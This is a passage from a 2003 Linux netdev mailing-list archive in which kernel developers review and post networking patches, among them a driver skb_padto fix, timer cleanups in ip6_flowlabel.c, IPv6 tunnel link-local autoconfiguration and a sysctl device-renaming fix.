<3F51F738.5040607@pobox.com> Date: Sun, 31 Aug 2003 09:25:12 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Yusuf Wilajati Purna CC: netdev@oss.sgi.com Subject: Re: [PATCH] fix skb binding time in some network drivers due to skb_padto conversion References: <3F515DD0.9000409@jcom.home.ne.jp> In-Reply-To: <3F515DD0.9000409@jcom.home.ne.jp> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5467 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Yusuf Wilajati Purna wrote: > Hi Jeff, > > It seems that skb_padto security fixes in 2.4 and 2.5 trying > to fix "CAN-2003-0001:Multiple ethernet NID device drivers > do not pad frames with null bytes", do not put the skb_padto > blocks in proper places in the 3c527, eth16i, fmv18x, seeq8005, > yellowfin device drivers. > > In case a driver calls skb_padto(), it is possible > that the space available in the original skb buffer tailroom is less > than the space to pad. In this case, in short, the skb_padto() > will create a new skb buffer, copy data from the original > skb buffer to a new skb buffer, free the original buffer, > and finally return the new buffer. > > If this happens to the aforementioned device drivers, they come to > point to wrong data. And, for 3c527 and yellowfin, the drivers can > unexpectedly double free the original skb buffers since they still > point to the original skb buffers. The attached patch against > 2.4.23pre1 fixes these issues. > > If the patch looks okay, please consider including it in > 2.4 and 2.5/6. Yes, this looks needed. Thanks! Jeff From vinay-rc@naturesoft.net Mon Sep 1 06:59:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 07:00:22 -0700 (PDT) Received: from naturesoft.net ([203.145.184.221]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81DxkWZ021399 for ; Mon, 1 Sep 2003 06:59:47 -0700 Received: from trial.naturesoft.com ([192.168.0.15] helo=lima.royalchallenge.com) by naturesoft.net with esmtp (Exim 3.35 #1) id 19tp6i-00031b-00; Mon, 01 Sep 2003 19:22:36 +0530 Subject: Re: [PATCH 2.4.22-pre1][NET] timer cleanups From: Vinay K Nallamothu To: "David S. Miller" Cc: netdev@oss.sgi.com, LKML In-Reply-To: <20030830203311.0b8c0807.davem@redhat.com> References: <1062258097.8532.26.camel@lima.royalchallenge.com> <20030830203311.0b8c0807.davem@redhat.com> Content-Type: text/plain Organization: NatureSoft Private Limited Message-Id: <1062424850.4414.40.camel@lima.royalchallenge.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Mon, 01 Sep 2003 19:30:51 +0530 Content-Transfer-Encoding: 7bit X-archive-position: 5469 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vinay-rc@naturesoft.net Precedence: bulk X-list: netdev Content-Length: 4015 Lines: 135 Hi Dave, On Sun, 2003-08-31 at 09:03, David S. Miller wrote: > On Sat, 30 Aug 2003 21:11:37 +0530 > Vinay K Nallamothu wrote: > > > This patch does the following timer code cleanup: > > > > 1. Change del_timer/add_timer to mod_timer > > 2. Use static timer initialisation wherever applicable > > I'm not accepting this. In particular, the ip6_flowlabel.c > change is a bad idea because the code remains racey. > Someone > submitted a similar move to mod_timer() for ip6_flowlabel That too was submitted by me. Unfortunately I never got to see your mail. No excuses though. > > Just blindly doing these kinds of conversions to mod_timer() > is foolhardy. You need to apply some brains to it to make > sure you really are getting rid of whatever potential races > exist in the code. You are correct. While I tried to make sure that new bugs are not introduced, I haven't paid attention to the existing ones. > And in the ip6_flowlabel.c case things are > as buggy as they were before. Please find the updated patch below and let me know if it's ok. Thanks Vinay ip6_flowlabel.c: 1. Use static timer initializer 2. Use timer macros to handle jiffie wrap in comparisions 3. Convert del_timer/add_timer to mod_timer ip6_flowlabel.c | 30 ++++++++++++++++-------------- 1 files changed, 16 insertions(+), 14 deletions(-) diff -urN linux-2.4.22/net/ipv6/ip6_flowlabel.c linux-2.4.22-nvk/net/ipv6/ip6_flowlabel.c --- linux-2.4.22/net/ipv6/ip6_flowlabel.c 2003-06-14 10:03:12.000000000 +0530 +++ linux-2.4.22-nvk/net/ipv6/ip6_flowlabel.c 2003-09-01 16:47:03.000000000 +0530 @@ -48,7 +48,8 @@ static atomic_t fl_size = ATOMIC_INIT(0); static struct ip6_flowlabel *fl_ht[FL_HASH_MASK+1]; -static struct timer_list ip6_fl_gc_timer; +static void ip6_fl_gc(unsigned long dummy); +static struct timer_list ip6_fl_gc_timer = TIMER_INITIALIZER(ip6_fl_gc, 0, 0); /* FL hash table lock: it protects only of GC */ @@ -92,10 +93,12 @@ static void fl_release(struct ip6_flowlabel *fl) { + write_lock_bh(&ip6_fl_lock); + fl->lastuse = jiffies; if (atomic_dec_and_test(&fl->users)) { unsigned long ttd = fl->lastuse + fl->linger; - if ((long)(ttd - fl->expires) > 0) + if (time_after(ttd, fl->expires)) fl->expires = ttd; ttd = fl->expires; if (fl->opt && fl->share == IPV6_FL_S_EXCL) { @@ -103,11 +106,12 @@ fl->opt = NULL; kfree(opt); } - if (!del_timer(&ip6_fl_gc_timer) || - (long)(ip6_fl_gc_timer.expires - ttd) > 0) - ip6_fl_gc_timer.expires = ttd; - add_timer(&ip6_fl_gc_timer); + if (!timer_pending(&ip6_fl_gc_timer) || + time_after(ip6_fl_gc_timer.expires, ttd)) + mod_timer(&ip6_fl_gc_timer, ttd); } + + write_unlock_bh(&ip6_fl_lock); } static void ip6_fl_gc(unsigned long dummy) @@ -124,16 +128,16 @@ while ((fl=*flp) != NULL) { if (atomic_read(&fl->users) == 0) { unsigned long ttd = fl->lastuse + fl->linger; - if ((long)(ttd - fl->expires) > 0) + if (time_after(ttd, fl->expires)) fl->expires = ttd; ttd = fl->expires; - if ((long)(now - ttd) >= 0) { + if (time_after_eq(now, ttd)) { *flp = fl->next; fl_free(fl); atomic_dec(&fl_size); continue; } - if (!sched || (long)(ttd - sched) < 0) + if (!sched || time_before(ttd, sched)) sched = ttd; } flp = &fl->next; @@ -262,11 +266,11 @@ if (!expires) return -EPERM; fl->lastuse = jiffies; - if (fl->linger < linger) + if (time_before(fl->linger, linger)) fl->linger = linger; - if (expires < fl->linger) + if (time_before(expires, fl->linger)) expires = fl->linger; - if ((long)(fl->expires - (fl->lastuse+expires)) < 0) + if (time_before(fl->expires, fl->lastuse + expires)) fl->expires = fl->lastuse + expires; return 0; } @@ -609,8 +613,6 @@ void ip6_flowlabel_init() { - init_timer(&ip6_fl_gc_timer); - ip6_fl_gc_timer.function = ip6_fl_gc; #ifdef CONFIG_PROC_FS create_proc_read_entry("net/ip6_flowlabel", 0, 0, ip6_fl_read_proc, NULL); #endif From davem@pizda.ninka.net Mon Sep 1 07:20:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 07:21:13 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81EKdWZ027901 for ; Mon, 1 Sep 2003 07:20:39 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id HAA09130; Mon, 1 Sep 2003 07:11:26 -0700 Date: Mon, 1 Sep 2003 07:11:26 -0700 From: "David S. Miller" To: Vinay K Nallamothu Cc: netdev@oss.sgi.com, linux-kernel@vger.kernel.org Subject: Re: [PATCH 2.4.22-pre1][NET] timer cleanups Message-Id: <20030901071126.60b0dc78.davem@redhat.com> In-Reply-To: <1062424850.4414.40.camel@lima.royalchallenge.com> References: <1062258097.8532.26.camel@lima.royalchallenge.com> <20030830203311.0b8c0807.davem@redhat.com> <1062424850.4414.40.camel@lima.royalchallenge.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5470 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 268 Lines: 9 On Mon, 01 Sep 2003 19:30:51 +0530 Vinay K Nallamothu wrote: > > And in the ip6_flowlabel.c case things are > > as buggy as they were before. > > Please find the updated patch below and let me know if it's ok. Looks great, patch applied. From vnuorval@tcs.hut.fi Mon Sep 1 07:24:54 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 07:25:26 -0700 (PDT) Received: from smtp-4.hut.fi (root@smtp-4.hut.fi [130.233.228.94]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81EOqWZ028430 for ; Mon, 1 Sep 2003 07:24:53 -0700 Received: from neon.tcs.hut.fi (neon.tcs.hut.fi [130.233.215.20]) by smtp-4.hut.fi (8.12.9/8.12.9) with ESMTP id h81EOhgL031249; Mon, 1 Sep 2003 17:24:44 +0300 Received: from rhea.tcs.hut.fi (rhea.tcs.hut.fi [130.233.215.147]) by neon.tcs.hut.fi (Postfix) with ESMTP id C7B80800188; Mon, 1 Sep 2003 17:24:43 +0300 (EEST) Received: from rhea.tcs.hut.fi (localhost [127.0.0.1]) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.4) with ESMTP id h81EOh9s029286; Mon, 1 Sep 2003 17:24:43 +0300 Received: from localhost (vnuorval@localhost) by rhea.tcs.hut.fi (8.12.3/8.12.3/Debian-6.4) with ESMTP id h81EOgSn029282; Mon, 1 Sep 2003 17:24:42 +0300 Date: Mon, 1 Sep 2003 17:24:42 +0300 (EEST) From: Ville Nuorvala To: "David S. Miller" Cc: Pekka Savola , , , Subject: [PATCH] IPv6: (5/5+1) Autoconfig link-local addr to IPv6 tunnels In-Reply-To: <20030901035134.2585aa79.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-377318441-1773213307-1062426282=:29198" X-RAVMilter-Version: 8.4.3(snapshot 20030212) (smtp-4.hut.fi) X-DCC-HUTCC-Metrics: smtp-4.hut.fi 1165; Body=6 Fuz1=6 Fuz2=6 X-archive-position: 5471 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vnuorval@tcs.hut.fi Precedence: bulk X-list: netdev Content-Length: 4825 Lines: 96 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---377318441-1773213307-1062426282=:29198 Content-Type: TEXT/PLAIN; charset=US-ASCII On Mon, 1 Sep 2003, David S. Miller wrote: > On Mon, 1 Sep 2003 13:48:44 +0300 (EEST) > Pekka Savola wrote: > > > Well, link-local addresses are used e.g. by routing protocols and such, so > > having one is probably rather important.. > > Ok. > > > FWIW, on FreeBSD platform they take the link-local address of the first > > physical interface, and give the exact same link-local address on all of > > the tunnels, disambiuating them with the scope identifier. Seems like an > > OK appaorach too, and guarantees (to the degree of unique MAC addresses) > > that the addresses of the endpoints do not clash. > > Interesting approach... I'm not particularly picky about how this > uniqueness issue is solved. Ok, this incremental patch to my previous addrconf.c patch generates a link-local address to the IPv6 tunnel device. It first tries to inherit the EUI64 identifier of some other device and if this fails, uses a random interface id. Ville -- Ville Nuorvala Research Assistant, Institute of Digital Communications, Helsinki University of Technology email: vnuorval@tcs.hut.fi, phone: +358 (0)9 451 5257 ---377318441-1773213307-1062426282=:29198 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="ip6_tnl_autoconf.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="ip6_tnl_autoconf.patch" IyBUaGlzIGlzIGEgQml0S2VlcGVyIGdlbmVyYXRlZCBwYXRjaCBmb3IgdGhl IGZvbGxvd2luZyBwcm9qZWN0Og0KIyBQcm9qZWN0IE5hbWU6IExpbnV4IGtl cm5lbCB0cmVlDQojIFRoaXMgcGF0Y2ggZm9ybWF0IGlzIGludGVuZGVkIGZv ciBHTlUgcGF0Y2ggY29tbWFuZCB2ZXJzaW9uIDIuNSBvciBoaWdoZXIuDQoj IFRoaXMgcGF0Y2ggaW5jbHVkZXMgdGhlIGZvbGxvd2luZyBkZWx0YXM6DQoj CSAgICAgICAgICAgQ2hhbmdlU2V0CTEuMTI5MSAgLT4gMS4xMjkyIA0KIwkg bmV0L2lwdjYvYWRkcmNvbmYuYwkxLjY0ICAgIC0+IDEuNjUgICANCiMNCiMg VGhlIGZvbGxvd2luZyBpcyB0aGUgQml0S2VlcGVyIENoYW5nZVNldCBMb2cN CiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t LS0NCiMgMDMvMDkvMDEJdm51b3J2YWxAYW1iZXIuaHV0Lm1lZGlhcG9saS5j b20JMS4xMjkyDQojIEF1dG9jb25maWd1cmUgYSBsaW5rLWxvY2FsIGFkZHJl c3MgdG8gYWxsIElQdjYgdHVubmVsIGRldmljZXMNCiMgLS0tLS0tLS0tLS0t LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMNCmRpZmYgLU5y dSBhL25ldC9pcHY2L2FkZHJjb25mLmMgYi9uZXQvaXB2Ni9hZGRyY29uZi5j DQotLS0gYS9uZXQvaXB2Ni9hZGRyY29uZi5jCU1vbiBTZXAgIDEgMTY6NTY6 MzkgMjAwMw0KKysrIGIvbmV0L2lwdjYvYWRkcmNvbmYuYwlNb24gU2VwICAx IDE2OjU2OjM5IDIwMDMNCkBAIC0xODIwLDYgKzE4MjAsMzkgQEANCiANCiAN CiAjaWYgZGVmaW5lZChDT05GSUdfSVBWNl9UVU5ORUwpIHx8IGRlZmluZWQo Q09ORklHX0lQVjZfVFVOTkVMX01PRFVMRSkNCisNCisvKiANCisgKiBBdXRv Y29uZmlndXJlIHR1bm5lbCB3aXRoIGEgbGluay1sb2NhbCBhZGRyZXNzIHNv IHJvdXRpbmcgcHJvdG9jb2xzLA0KKyAqIERIQ1B2NiwgTUxEIGV0Yy4gY2Fu IGJlIHJ1biBvdmVyIHRoZSB2aXJ0dWFsIGxpbmsgDQorICovDQorDQorc3Rh dGljIHZvaWQgaXA2X3RubF9hZGRfbGlua2xvY2FsKHN0cnVjdCBpbmV0Nl9k ZXYgKmlkZXYpDQorew0KKwlzdHJ1Y3QgaW42X2FkZHIgYWRkcjsNCisJc3Ry dWN0IG5ldF9kZXZpY2UgKmRldjsgDQorCUFTU0VSVF9SVE5MKCk7DQorDQor CW1lbXNldCgmYWRkciwgMCwgc2l6ZW9mKHN0cnVjdCBpbjZfYWRkcikpOw0K KwlhZGRyLnM2X2FkZHIzMlswXSA9IGh0b25sKDB4RkU4MDAwMDApOw0KKw0K KwkvKiB0cnkgdG8gaW5oZXJpdCBFVUk2NCBmcm9tIGFub3RoZXIgZGV2aWNl ICovDQorCWZvciAoZGV2ID0gZGV2X2Jhc2U7IGRldjsgZGV2ID0gZGV2LT5u ZXh0KSB7DQorCQlpZiAoIWlwdjZfZ2VuZXJhdGVfZXVpNjQoYWRkci5zNl9h ZGRyICsgOCwgZGV2KSkgew0KKwkJCWFkZHJjb25mX2FkZF9saW5rbG9jYWwo aWRldiwgJmFkZHIpOw0KKwkJCXJldHVybjsNCisJCX0NCisJfQ0KKyNpZmRl ZiBDT05GSUdfSVBWNl9QUklWQUNZDQorCS8qIGVsc2UgdHJ5IHRvIGdlbmVy YXRlIGEgcmFuZG9tIGlkZW50aWZpZXIgKi8NCisJaWYgKCFfX2lwdjZfcmVn ZW5fcm5kaWQoaWRldikpIHsNCisJCW1lbWNweShhZGRyLnM2X2FkZHIgKyA4 LCBpZGV2LT5ybmRpZCwgOCk7DQorCQlhZGRyY29uZl9hZGRfbGlua2xvY2Fs KGlkZXYsICZhZGRyKTsNCisJCXJldHVybjsNCisJfQ0KKyNlbmRpZg0KKwlw cmludGsoS0VSTl9ERUJVRyAiaW5pdCBpcDYtaXA2OiBhZGRfbGlua2xvY2Fs IGZhaWxlZFxuIik7DQorfQ0KKw0KIHN0YXRpYyB2b2lkIGFkZHJjb25mX2lw Nl90bmxfY29uZmlnKHN0cnVjdCBuZXRfZGV2aWNlICpkZXYpDQogew0KIAlz dHJ1Y3QgaW5ldDZfZGV2ICppZGV2Ow0KQEAgLTE4MzAsNiArMTg2Myw4IEBA DQogCQlwcmludGsoS0VSTl9ERUJVRyAiaW5pdCBpcDYtaXA2OiBmaW5kX2Rl diBmYWlsZWRcbiIpOw0KIAkJcmV0dXJuOw0KIAl9DQorCWlwNl90bmxfYWRk X2xpbmtsb2NhbChpZGV2KTsNCisJYWRkcmNvbmZfYWRkX21yb3V0ZShkZXYp Ow0KIH0NCiAjZW5kaWYNCiANCkBAIC0yMTM1LDYgKzIxNzAsNyBAQA0KIA0K IAlpZiAoaWZwLT5pZGV2LT5jbmYuZm9yd2FyZGluZyA9PSAwICYmDQogCSAg ICAoZGV2LT5mbGFncyZJRkZfTE9PUEJBQ0spID09IDAgJiYNCisJICAgIGRl di0+dHlwZSAhPSBBUlBIUkRfVFVOTkVMNiAmJg0KIAkgICAgKGlwdjZfYWRk cl90eXBlKCZpZnAtPmFkZHIpICYgSVBWNl9BRERSX0xJTktMT0NBTCkpIHsN CiAJCXN0cnVjdCBpbjZfYWRkciBhbGxfcm91dGVyczsNCiANCg== ---377318441-1773213307-1062426282=:29198-- From jgarzik@pobox.com Mon Sep 1 07:29:31 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 07:30:06 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81ETUWZ029013 for ; Mon, 1 Sep 2003 07:29:31 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34035 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19tpgO-00007b-Va; Mon, 01 Sep 2003 15:29:29 +0100 Message-ID: <3F5357BE.4060902@pobox.com> Date: Mon, 01 Sep 2003 10:29:18 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Francois Romieu CC: Maillist netdev Subject: Re: So you thought sis190 was evil... References: <3F529E71.20402@pobox.com> <20030901091321.A4000@electric-eye.fr.zoreil.com> In-Reply-To: <20030901091321.A4000@electric-eye.fr.zoreil.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5472 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 478 Lines: 22 Francois Romieu wrote: > Jeff Garzik : > >>It looks like the objectionable sis190 code was copied almost wholesale >>from r8169... virt_to_bus, static descriptors, lack of cpu_to_leXX, >>and all. > > > Are you asking for a copy from sis190 to r8169 ? hehe :) Actually, no. I have docs and test hardware for RTL-8169, and it's basically the same as RTL-8139C+ (8139cp). So, for r8169 I'm coming to copy over my RX and TX handling code. Jeff From jgarzik@pobox.com Mon Sep 1 07:59:22 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 07:59:55 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81ExLWZ008236 for ; Mon, 1 Sep 2003 07:59:22 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:34044 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19tq9I-0000NL-JV for netdev@oss.sgi.com; Mon, 01 Sep 2003 15:59:20 +0100 Message-ID: <3F535EBD.6090401@pobox.com> Date: Mon, 01 Sep 2003 10:59:09 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Maillist netdev Subject: The recent free_netdev() conversion... Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5473 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 318 Lines: 27 Note that a lot of error paths were not caught. In the typical driver you have: ->probe() dev = alloc_etherdev() blah_probe() if blah_probe() fails goto err_out register_netdev() return 0; err_out: kfree(dev); ->remove() free_netdev(dev); The "kfree" needs to be a free_netdev() too. Jeff From davem@pizda.ninka.net Mon Sep 1 08:02:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 08:03:28 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81F2sWZ009952 for ; Mon, 1 Sep 2003 08:02:55 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id HAA09231; Mon, 1 Sep 2003 07:53:45 -0700 Date: Mon, 1 Sep 2003 07:53:45 -0700 From: "David S. Miller" To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: Re: The recent free_netdev() conversion... Message-Id: <20030901075345.4c35e3e6.davem@redhat.com> In-Reply-To: <3F535EBD.6090401@pobox.com> References: <3F535EBD.6090401@pobox.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5474 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 318 Lines: 11 On Mon, 01 Sep 2003 10:59:09 -0400 Jeff Garzik wrote: > err_out: > kfree(dev); ... > The "kfree" needs to be a free_netdev() too. If the 'dev' hasn't been given to register_netdev() it really doesn't need to be free_netdev(). It's just memory until it has been given to the device layer. From davem@pizda.ninka.net Mon Sep 1 09:07:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 09:07:58 -0700 (PDT) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81G7OWZ019911 for ; Mon, 1 Sep 2003 09:07:24 -0700 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id IAA09396; Mon, 1 Sep 2003 08:58:14 -0700 Date: Mon, 1 Sep 2003 08:58:14 -0700 From: "David S. Miller" To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: Re: The recent free_netdev() conversion... Message-Id: <20030901085814.5a333518.davem@redhat.com> In-Reply-To: <3F536CB7.6060404@pobox.com> References: <3F535EBD.6090401@pobox.com> <20030901075345.4c35e3e6.davem@redhat.com> <3F536CB7.6060404@pobox.com> X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5475 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 404 Lines: 10 On Mon, 01 Sep 2003 11:58:47 -0400 Jeff Garzik wrote: > True, but for long term, it's best to use free_netdev(). Besides > naturally pairing with alloc_foodev(), if we ever decide to have > alloc_netdev() perform more than one allocation, free_netdev() will > already be in place to handle the multiple de-allocations. Okie dokie, I'll take patches that fix any of these cases. From garzik@gtf.org Mon Sep 1 09:22:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 09:23:26 -0700 (PDT) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81GMfWZ021043 for ; Mon, 1 Sep 2003 09:22:42 -0700 Received: by havoc.gtf.org (Postfix, from userid 500) id 588986659; Mon, 1 Sep 2003 11:49:45 -0400 (EDT) Date: Mon, 1 Sep 2003 11:49:45 -0400 From: Jeff Garzik To: marcelo@parcelfarce.linux.theplanet.co.uk Cc: marcelo@conectiva.com.br, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: [bk patches] 2.4.x net driver updates Message-ID: <20030901154945.GA22275@gtf.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.28i X-archive-position: 5476 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1348 Lines: 41 Marcelo, please do a bk pull bk://kernel.bkbits.net/jgarzik/net-drivers-2.4 This will update the following files: drivers/net/8139cp.c | 35 ++++++++----------------- drivers/net/8139too.c | 68 ++++++++++++++++++++++++-------------------------- 2 files changed, 44 insertions(+), 59 deletions(-) through these ChangeSets: (03/08/31 1.1119) [netdrvr 8139cp] PCI MWI cleanup; remove unneeded workaround * The PCI layer now handles incorrect cacheline size settings, as it should. Remove our own workarounds. * Move pci_set_mwi up much earlier in the probe process, and check its return value. * Call pci_clear_mwi() in ->probe error handling * Call pci_clear_mwi() in ->remove (03/08/31 1.1117) [netdrvr 8139too] don't start thread when it's not needed The thread for was unneeded on chips other than CH_8139_K/8129. So, this patch doesn't create the thread on chips other than CH_8139_K/8129. (03/08/31 1.1116) [netdrvr 8139too] remove driver-based poisoning of net_device Harmless in 2.4, but causes oopses on rmmod in 2.6. slab poisoning can take care of this for us, anyway. (03/08/31 1.1115) [netdrvr 8139cp] must call NAPI-specific vlan hook From da-x@gmx.net Mon Sep 1 09:46:37 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 01 Sep 2003 09:47:10 -0700 (PDT) Received: from mail.gmx.net (mail.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h81GkaWZ024256 for ; Mon, 1 Sep 2003 09:46:37 -0700 Received: (qmail 10929 invoked by uid 65534); 1 Sep 2003 16:46:28 -0000 Received: from bzq-234-149.red.bezeqint.net (HELO callisto.yi.org) (212.179.234.149) by mail.gmx.net (mp025) with SMTP; 01 Sep 2003 18:46:28 +0200 Date: Mon, 1 Sep 2003 19:46:24 +0300 From: Dan Aloni To: netdev@oss.sgi.com Cc: "David S. Miller" Subject: [BK PATCH 2.6] repost, fix sysctl breakage during network device renaming, for ipv4 Message-ID: <20030901164624.GA26886@callisto.yi.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 5477 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: da-x@gmx.net Precedence: bulk X-list: netdev Content-Length: 5419 Lines: 171 Can you please take a look and comment? You can import this changeset into BK by piping this whole message to: '| bk receive [path to repository]' or apply the patch as usual. =================================================================== ChangeSet@1.1292, 2003-08-26 18:30:17+03:00, da-x@gmx.net Sysctl assumes its ctl_table.procname field is const, but the networking points ctl_table.procname to dev->name. When renaming a network device using SIOCSIFNAME, dev->name is modified and sysctl's assumption breaks, causing this behaviour, at least: 1. sysctl wouldn't be able to remove the proc entry when the device requests to be unregistered, because it would be using the new name instead of the old one. 2. proc entries for devices remain with the old name after rename. This change includes allocating the current device name to a new copy upon registering with sysctl, plus re-registering with sysctl when the device is renamed. This only fixes IPv4. Fixes for ax25, core/neighbour.c, decnet, and ipv6 are also planned. devinet.c | 45 ++++++++++++++++++++++++++++++++++++++++----- 1 files changed, 40 insertions(+), 5 deletions(-) diff -Nru a/net/ipv4/devinet.c b/net/ipv4/devinet.c --- a/net/ipv4/devinet.c Tue Aug 26 18:31:08 2003 +++ b/net/ipv4/devinet.c Tue Aug 26 18:31:08 2003 @@ -904,6 +904,11 @@ * not interesting to applications using netlink. */ inetdev_changename(dev, in_dev); + +#ifdef CONFIG_SYSCTL + devinet_sysctl_unregister(&in_dev->cnf); + devinet_sysctl_register(in_dev, &in_dev->cnf); +#endif break; } out: @@ -1295,12 +1300,21 @@ }, }; +static char *strdup(char *s) +{ + char *rv = kmalloc(strlen(s)+1, GFP_KERNEL); + if (rv) + strcpy(rv, s); + return rv; +} + static void devinet_sysctl_register(struct in_device *in_dev, struct ipv4_devconf *p) { int i; struct net_device *dev = in_dev ? in_dev->dev : NULL; struct devinet_sysctl_table *t = kmalloc(sizeof(*t), GFP_KERNEL); + char *dev_name = NULL; if (!t) return; @@ -1309,13 +1323,25 @@ t->devinet_vars[i].data += (char *)p - (char *)&ipv4_devconf; t->devinet_vars[i].de = NULL; } + if (dev) { - t->devinet_dev[0].procname = dev->name; + dev_name = dev->name; t->devinet_dev[0].ctl_name = dev->ifindex; } else { - t->devinet_dev[0].procname = "default"; + dev_name = "default"; t->devinet_dev[0].ctl_name = NET_PROTO_CONF_DEFAULT; } + + /* + * Make a copy of dev_name, because '.procname' is regarded as const + * by sysctl and we wouldn't want anyone to change it under our feet + * (see SIOCSIFNAME). + */ + dev_name = strdup(dev_name); + if (!dev_name) + goto free; + + 